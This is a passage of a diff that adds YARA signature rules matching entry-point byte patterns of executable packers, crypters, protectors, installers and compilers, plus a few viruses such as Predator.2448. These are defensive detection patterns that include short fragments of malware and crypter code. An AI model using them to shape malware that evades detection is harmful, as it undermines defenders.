+		$0 = {E9 A6 00 00 00 B0 7B 40 00 78 60 40 00 7C 60 40 00 00 00 00 00 B0 3F 00 00 12 62 40 00 4E 65 6F 4C 69 74 65 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 43 6F 6D 70 72 65 73 73 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 38 2C 31 39 39 39 20 4E 65 6F 57 6F 72 78 20 49 6E 63 0D 0A 50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 37 2D 31 39 39 39 20 4C 65 65 20 48 61 73 69 75 6B 0D 0A 41 6C 6C 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2E 00 00 00 00 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Vterminal_V10X__Lei_Peng_
+{
+	meta:
+		description = "Vterminal V1.0X -> Lei Peng"
+	strings:
+		$0 = {E8 00 00 00 00 58 05 ?? ?? ?? ?? 9C 50 C2 04 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CI_Crypt_V02__FearlesS_
+{
+	meta:
+		description = "C.I Crypt V0.2 -> FearlesS"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_v20b4_
+{
+	meta:
+		description = "Nullsoft Install System v2.0b4"
+	strings:
+		$0 = {83 EC 10 53 55 56 57 C7 44 24 14 F0 91 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 88 72 40 00 BE 00 D4 42 00 BF 00 04 00 00 56 57 A3 60 6F 42 00 FF 15 C4 70 40 00 E8 9F FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 60 71 40 00 68 E4 91 40 00 56 FF D3 E8 7C FF FF FF 85 C0 0F 84 59 01 00 00 BE E0 66 42 00 56 FF 15 68 70 40 00 68 D8 91 40 00 56 E8 FE 27 00 00 57 FF 15 BC 70 40 00 BE 00 C0 42 00 50 56 FF 15 B8 70 40 00 6A 00 FF 15 44 71 40 00 80 3D 00 C0 42 00 22 A3 E0 6E 42 00 8B C6 75 0A C6 44 24 13 22 B8 01 C0 42 00 8B 3D 10 72 40 00 EB 09 3A 4C 24 13 74 09 50 FF D7 8A 08 84 C9 75 F1 50 FF D7 8B F0 89 74 24 1C EB 05 56 FF D7 8B F0 80 3E 20 74 F6 80 3E 2F 75 44 46 80 3E 53 75 0C 8A 46 01 0C 20 3C 20 75 03 83 CD 02 81 3E 4E 43 52}
+		$1 = {83 EC 14 83 64 24 04 00 53 55 56 57 C6 44 24 13 20 FF 15 30 70 40 00 BE 00 20 7A 00 BD 00 04 00 00 56 55 FF 15 C4 70 40 00 56 E8 7D 2B 00 00 8B 1D 8C 70 40 00 6A 00 56 FF D3 BF 80 92 79 00 56 57 E8 15 26 00 00 85 C0 75 38 68 F8 91 40 00 55 56 FF 15 60 71 40 00 03 C6 50 E8 78 29 00 00 56 E8 47 2B 00 00 6A 00 56 FF D3 56 57 E8 EA 25 00 00 85 C0 75 0D C7 44 24 14 58 91 40 00 E9 72 02 00 00 57 FF 15 24 71 40 00 68 EC 91 40 00 57 E8 43}
+	condition:
+		$0 or $1
+}
+rule _ExeBundle_v30_standard_loader_
+{
+	meta:
+		description = "ExeBundle v3.0 (standard loader)"
+	strings:
+		$0 = {00 00 00 00 60 BE 00 B0 42 00 8D BE 00 60 FD FF C7 87 B0 E4 02 00 31 3C 4B DF 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB}
+	condition:
+		$0 at entrypoint
+}
+rule _FucknJoy_v10c__UsAr_
+{
+	meta:
+		description = "Fuck'n'Joy v1.0c -> UsAr"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED D8 05 40 00 FF 74 24 20 E8 8C 02 00 00 0B C0 0F 84 2C 01 00 00 89 85 6C 08 40 00 8D 85 2F 08 40 00 50 FF B5 6C 08 40 00 E8 EF 02 00 00 0B C0 0F 84 0C 01 00 00 89 85 3B 08 40 00 8D 85 3F 08 40 00 50 FF B5 6C 08 40 00 E8 CF 02 00 00 0B C0 0F 84 EC 00 00 00 89 85 4D 08 40 00 8D 85 51 08 40 00 50 FF B5 6C 08 40 00 E8 AF 02 00 00 0B C0 0F 84 CC 00 00 00 89 85 5C 08 40 00 8D 85 67 07 40 00 E8 7B 02 00 00 8D B5 C4 07 40 00 56 6A 64 FF 95 74 07 40 00 46 80 3E 00 75 FA C7 06 74 6D 70 2E 83 C6 04 C7 06 65 78 65 00 8D 85 36 07 40 00 E8 4C 02 00 00 33 DB 53 53 6A 02 53 53 68 00 00 00 40 8D 85 C4 07 40 00 50 FF 95 74 07 40 00 89 85 78 07 40 00 8D 85 51 07 40 00 E8 21 02 00 00 6A 00 8D 85 7C 07 40 00 50 68 00 ?? ?? 00 8D 85 F2 09 40 00 50 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Lattice_C_v30_
+{
+	meta:
+		description = "Lattice C v3.0"
+	strings:
+		$0 = {FA B8 ?? ?? 8E D8 B8 ?? ?? 8E}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXHiT_001__sibaway7yahoocom_
+{
+	meta:
+		description = "UPX$HiT 0.0.1 -> sibaway7@yahoo.com"
+	strings:
+		$0 = {E2 FA 94 FF E0 61 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _RLPack_V119_Dll_LZMA_430__ap0xnbsp_nbsp_Sign_by_fly_
+{
+	meta:
+		description = "RLPack V1.19 Dll (LZMA 4.30) -> ap0x&nbsp; &nbsp;! Sign by fly"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 C7 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA 0A 00 00 89 85 41 0B 00 00 E8 76 01 00 00 EB 20 60 8B 85 49 0B 00 00 FF B5 41 0B 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD 55 0B 00 00 00 74 0E 83 BD 59 0B 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 DA 0A 00 00 89 85 69 0B 00 00 5B 60 FF B5 41 0B 00 00 56 FF B5 69 0B 00 00 FF D3 61 8B B5 69 0B 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 E9 98 00 00 00 56 FF 95 D2 0A 00 00 89 85 61 0B 00 00 85 C0 0F 84 C8 00 00 00 8B C6 EB 5F 8B 85 65 0B 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 65 0B 00 00 C7 00 20 20 20 00 EB 06 FF B5 65 0B 00 00 FF B5 61 0B 00 00 FF 95 D6 0A 00 00 85 C0 0F 84 87 00 00 00 89 07 83 C7 04 8B 85 65 0B 00 00 EB 01 40 80 38 00 75 FA 40 89 85 65 0B 00 00 66 81 78 02 00 80 74 A1 80 38 00 75 9C EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 80 3E 01 0F 85 5F FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 69 0B 00 00 FF 95 DE 0A 00 00 68 00 40 00 00 68 00 20 0C 00 FF B5 41 0B 00 00 FF 95 DE 0A 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _MEW_10_by_Northfox_
+{
+	meta:
+		description = "MEW 10 by Northfox"
+	strings:
+		$0 = {33 C0 E9 ?? ?? FF FF ?? 1C ?? ?? 40}
+	condition:
+		$0
+}
+rule _Werus_Crypter_10__by_Kas_
+{
+	meta:
+		description = "Werus Crypter 1.0 - by Kas"
+	strings:
+		$0 = {BB E8 12 40 00 80 33 05 E9 7D FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Anslym_FUD_Crypter__Sign_by_fly_
+{
+	meta:
+		description = "Anslym FUD Crypter ! Sign by fly"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 B8 38 17 05 10 E8 5A 45 FB FF 33 C0 55 68 21 1C 05 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 E8 85 4C FB FF 6A 00 E8 0E 47 FB FF 6A 0A E8 27 49 FB FF E8 EA 47 FB FF 6A 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_v244_
+{
+	meta:
+		description = "PEBundle v2.44"
+	strings:
+		$0 = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 83 BD}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Borland_Cpp_1999__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Borland C++ 1999] -> Anorganix"
+	strings:
+		$0 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90 A1 ?? ?? ?? ?? A3}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v133_
+{
+	meta:
+		description = "FSG v1.33"
+	strings:
+		$0 = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73}
+	condition:
+		$0 at entrypoint
+}
+rule _LaunchAnywhere_4001_
+{
+	meta:
+		description = "LaunchAnywhere 4.0.0.1"
+	strings:
+		$0 = {55 89 E5 53 83 EC 48 55 B8 FF FF FF FF 50 50 68 E0 3E 42 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 C0 69 44 00 E8 E4 80 FF FF 59 E8 4E 29 00 00 E8 C9 0D 00 00 85 C0 75 08 6A FF E8 6E 2B 00 00 59 E8 A8 2C 00 00 E8 23 2E 00 00 FF 15 4C C2 44 00 89 C3}
+	condition:
+		$0
+}
+rule _EXELOCK_666_15_
+{
+	meta:
+		description = "EXELOCK 666 1.5"
+	strings:
+		$0 = {BA ?? ?? BF ?? ?? EB ?? EA ?? ?? ?? ?? 79 ?? 7F ?? 7E ?? 1C ?? 48 78 ?? E3 ?? 45 14 ?? 5A E9}
+	condition:
+		$0 at entrypoint
+}
+rule _LGLZ_v104b_
+{
+	meta:
+		description = "LGLZ v1.04b"
+	strings:
+		$0 = {FC 1E 06 0E 8C C8 ?? ?? ?? ?? BA ?? ?? 03 C2 8B D8 05 ?? ?? 8E DB 8E C0 33 F6 33 FF B9 ?? ?? F3 A5 4B 48 4A 79}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_11_BasicEdition__ap0x_
+{
+	meta:
+		description = "RLPack 1.1 BasicEdition -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 4A 02 00 00 8D 9D 11 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68}
+	condition:
+		$0 at entrypoint
+}
+rule _yP_10b_by_Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yP 1.0b by Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 C2 E8 03 00 00 00 EB 01 ?? AC ?? ?? ?? ?? ?? ?? ?? EB 01 E8}
+	condition:
+		$0
+}
+rule _PECompact_v126b1__v126b2_
+{
+	meta:
+		description = "PECompact v1.26b1 - v1.26b2"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? 05 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _Silicon_Realms_Install_Stub_
+{
+	meta:
+		description = "Silicon Realms Install Stub"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? 92 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? ?? 40 00 33 D2 8A D4 89 15 ?? ?? 40 00 8B C8 81 E1 FF 00 00 00 89 0D ?? ?? 40 00 C1 E1 08 03 CA 89 0D ?? ?? 40 00 C1 E8 10 A3}
+		$1 = {55 8B EC 6A FF 68 ?? 92 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? ?? 40 00 33 D2 8A D4 89 15 ?? ?? 40 00 8B C8 81 E1 FF 00 00 00 89 0D ?? ?? 40 00 C1 E1 08 03 CA 89 0D ?? ?? 40 00 C1 E8 10 A3 ?? ?? 40 00 33 F6 56 E8 ?? ?? 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 ?? ?? 00 00 FF 15 ?? 91 40 00 A3 ?? ?? 40 00 E8 ?? ?? 00 00 A3 ?? ?? 40 00 E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8 ?? ?? FF FF 89 75 D0 8D 45 A4 50 FF 15 ?? 91 40 00 E8 ?? ?? 00 00 89 45 9C F6 45 D0 01 74 06 0F B7 45 D4 EB 03 6A 0A 58 50 FF 75 9C 56 56 FF 15 ?? 91 40 00 50 E8 ?? ?? FF FF 89 45 A0 50 E8 ?? ?? FF FF 8B 45 EC 8B 08 8B 09 89 4D 98 50 51 E8 ?? ?? 00 00 59 59 C3 8B 65 E8 FF 75 98 E8 ?? ?? FF FF 83 3D ?? ?? 40 00 01 75 05}
+	condition:
+		$0 or $1
+}
+rule _Armadillo_v430__440__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo v4.30 - 4.40 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 40 ?? ?? 00 68 80 ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 ?? ?? 00 33 D2 8A D4 89 15 30 ?? ?? 00 8B C8 81 E1 FF 00 00 00 89 0D 2C ?? ?? 00 C1 E1 08 03 CA 89 0D 28 ?? ?? 00 C1 E8 10 A3 24 ?? ?? 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C ?? ?? 00 A3 24}
+		$1 = {60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3}
+	condition:
+		$0 or $1
+}
+rule _PseudoSigner_02_Borland_Delphi_Setup_Module_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Borland Delphi Setup Module]"
+	strings:
+		$0 = {55 8B EC 83 C4 90 53 56 57 33 C0 89 45 F0 89 45 D4 89 45 D0 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NeoLite_v200_
+{
+	meta:
+		description = "NeoLite v2.00"
+	strings:
+		$0 = {8B 44 24 04 23 05 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 04 FE 05 ?? ?? ?? ?? 0B C0 74}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b1_
+{
+	meta:
+		description = "PECompact v1.10b1"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 28 63 40 ?? 87 DD 8B 85 AD 63}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v285_
+{
+	meta:
+		description = "Armadillo v2.85"
+	strings:
+		$0 = {55 8B EC 6A FF 68 68 ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24}
+	condition:
+		$0 at entrypoint
+}
+rule _EZIP_v10_
+{
+	meta:
+		description = "EZIP v1.0"
+	strings:
+		$0 = {E9 19 32 00 00 E9 7C 2A 00 00 E9 19 24 00 00 E9 FF 23 00 00 E9 1E 2E 00 00 E9 88 2E 00 00 E9 2C}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Armadillo_300__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Armadillo 3.00] -> Anorganix"
+	strings:
+		$0 = {60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _DBPE_v210_
+{
+	meta:
+		description = "DBPE v2.10"
+	strings:
+		$0 = {9C 6A 10 73 0B EB 02 C1 51 E8 06 ?? ?? ?? C4 11 73 F7 5B CD 83 C4 04 EB 02 99 EB FF 0C 24 71 01 E8 79 E0 7A 01 75 83 C4 04 9D EB 01 75 68 5F 20 40 ?? E8 B0 EF FF FF 72 03 73 01 75 BE}
+	condition:
+		$0 at entrypoint
+}
+rule _MingWin32__Dev_Cpp_v4991_h_
+{
+	meta:
+		description = "MingWin32 - Dev C++ v4.9.9.1 (h)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D ?? ?? ?? 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D ?? ?? ?? 00 89 E5 5D FF E1 90 90 90 90 55 89 E5 5D E9 ?? ?? 00 00 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v275a_
+{
+	meta:
+		description = "Armadillo v2.75a"
+	strings:
+		$0 = {55 8B EC 6A FF 68 68 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v252_
+{
+	meta:
+		description = "Armadillo v2.52"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? E0 ?? ?? ?? ?? 68 D4 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 38}
+		$1 = {55 8B EC 6A FF 68 E0 ?? ?? ?? 68 D4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 38}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Predator2448_
+{
+	meta:
+		description = "Vx: Predator.2448"
+	strings:
+		$0 = {0E 1F BF ?? ?? B8 ?? ?? B9 ?? ?? 49 ?? ?? ?? ?? 2A C1 4F 4F ?? ?? F9 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _Fish_PE_Shield_116__HellFish_
+{
+	meta:
+		description = "Fish PE Shield 1.16 -> HellFish"
+	strings:
+		$0 = {60 E8 EA FD FF FF FF D0 C3 8D 40 00 ?? 00 00 00 2C 00 00 00 ?? ?? ?? 00 ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 00 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 40}
+	condition:
+		$0 at entrypoint
+}
+rule _CrypKey_V56X_DLL__Kenonic_Controls_Ltd_
+{
+	meta:
+		description = "CrypKey V5.6.X DLL -> Kenonic Controls Ltd."
+	strings:
+		$0 = {8B 1D ?? ?? ?? ?? 83 FB 00 75 0A E8 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Escargot_01_final__ppMeat_
+{
+	meta:
+		description = "Escargot 0.1 (final) -> ++Meat"
+	strings:
+		$0 = {EB 04 40 30 2E 31 60 68 61 ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 92 ?? ?? ?? 8B 00 FF D0 50 B8 CD ?? ?? ?? 81 38 DE C0 37 13 75 2D 68 C9 ?? ?? ?? 6A 40 68 00 ?? 00 00 68 00 00 ?? ?? B8 96 ?? ?? ?? 8B 00 FF D0 8B 44 24 F0 8B 4C 24 F4 EB 05 49 C6 04 01 40 0B C9 75 F7 BE 00 10 ?? ?? B9 00 ?? ?? 00 EB 05 49 80 34 31 40 0B C9 75 F7 58 0B C0 74 08 33 C0 C7 00 DE C0 AD 0B BE ?? ?? ?? ?? E9 AC 00 00 00 8B 46 0C BB 00 00 ?? ?? 03 C3 50 50}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_v14_
+{
+	meta:
+		description = "PEtite v1.4"
+	strings:
+		$0 = {66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A ?? FF 50 14 8B CC}
+		$1 = {66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ExeBundle_v30_small_loader_
+{
+	meta:
+		description = "ExeBundle v3.0 (small loader)"
+	strings:
+		$0 = {00 00 00 00 60 BE 00 F0 40 00 8D BE 00 20 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11}
+	condition:
+		$0 at entrypoint
+}
+rule _Themida_18xx__Oreans_Technologies_
+{
+	meta:
+		description = "Themida 1.8.x.x -> Oreans Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D 37 ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67}
+		$1 = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D 37 ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v200b2200b3_
+{
+	meta:
+		description = "Armadillo v2.00b2-2.00b3"
+	strings:
+		$0 = {55 8B EC 6A FF 68 00 F2 40 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_v10061_
+{
+	meta:
+		description = "Obsidium v1.0.0.61"
+	strings:
+		$0 = {E8 AF 1C 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V12__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.2 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 77 1E 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v108x_
+{
+	meta:
+		description = "ASPack v1.08.x"
+	strings:
+		$0 = {60 EB 03 5D FF E5 E8 F8 FF FF FF 81 ED 1B 6A 44 00 BB 10 6A 44 00 03 DD 2B 9D 2A}
+	condition:
+		$0 at entrypoint
+}
+rule _SoftProtect__wwwsoftprotectbyru_
+{
+	meta:
+		description = "SoftProtect -> www.softprotect.by.ru"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? C7 00 00 00 00 00 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? 01}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v114_v115_v120_3_
+{
+	meta:
+		description = "PKLITE v1.14, v1.15, v1.20 (3)"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B ?? ?? ?? 72 ?? B4 09 BA ?? 01 CD 21 CD 20 4E 6F}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_239_DLL_minimum_protection_
+{
+	meta:
+		description = "EXECryptor 2.3.9 DLL (minimum protection)"
+	strings:
+		$0 = {51 68 ?? ?? ?? ?? 87 2C 24 8B CD 5D 81 E1 ?? ?? ?? ?? E9 ?? ?? ?? 00 89 45 F8 51 68 ?? ?? ?? ?? 59 81 F1 ?? ?? ?? ?? 0B 0D ?? ?? ?? ?? 81 E9 ?? ?? ?? ?? E9 ?? ?? ?? 00 81 C2 ?? ?? ?? ?? E8 ?? ?? ?? 00 87 0C 24 59 51 64 8B 05 30 00 00 00 8B 40 0C 8B 40 0C E9 ?? ?? ?? 00 F7 D6 2B D5 E9 ?? ?? ?? 00 87 3C 24 8B CF 5F 87 14 24 1B CA E9 ?? ?? ?? 00 83 C4 08 68 ?? ?? ?? ?? E9 ?? ?? ?? 00 C3 E9 ?? ?? ?? 00 E9 ?? ?? ?? 00 50 8B C5 87 04 24 8B EC 51 0F 88 ?? ?? ?? 00 FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 99 03 04 24 E9 ?? ?? ?? 00 C3 81 D5 ?? ?? ?? ?? 9C E9 ?? ?? ?? 00 81 FA ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 15 81 CB ?? ?? ?? ?? 81 F3 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 87}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_PIMP_Install_System_v1x_
+{
+	meta:
+		description = "Nullsoft PIMP Install System v1.x"
+	strings:
+		$0 = {83 EC 5C 53 55 56 57 FF 15 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_V071__cyberbob_
+{
+	meta:
+		description = "PESpin V0.71 -> cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Backfont900_
+{
+	meta:
+		description = "Vx: Backfont.900"
+	strings:
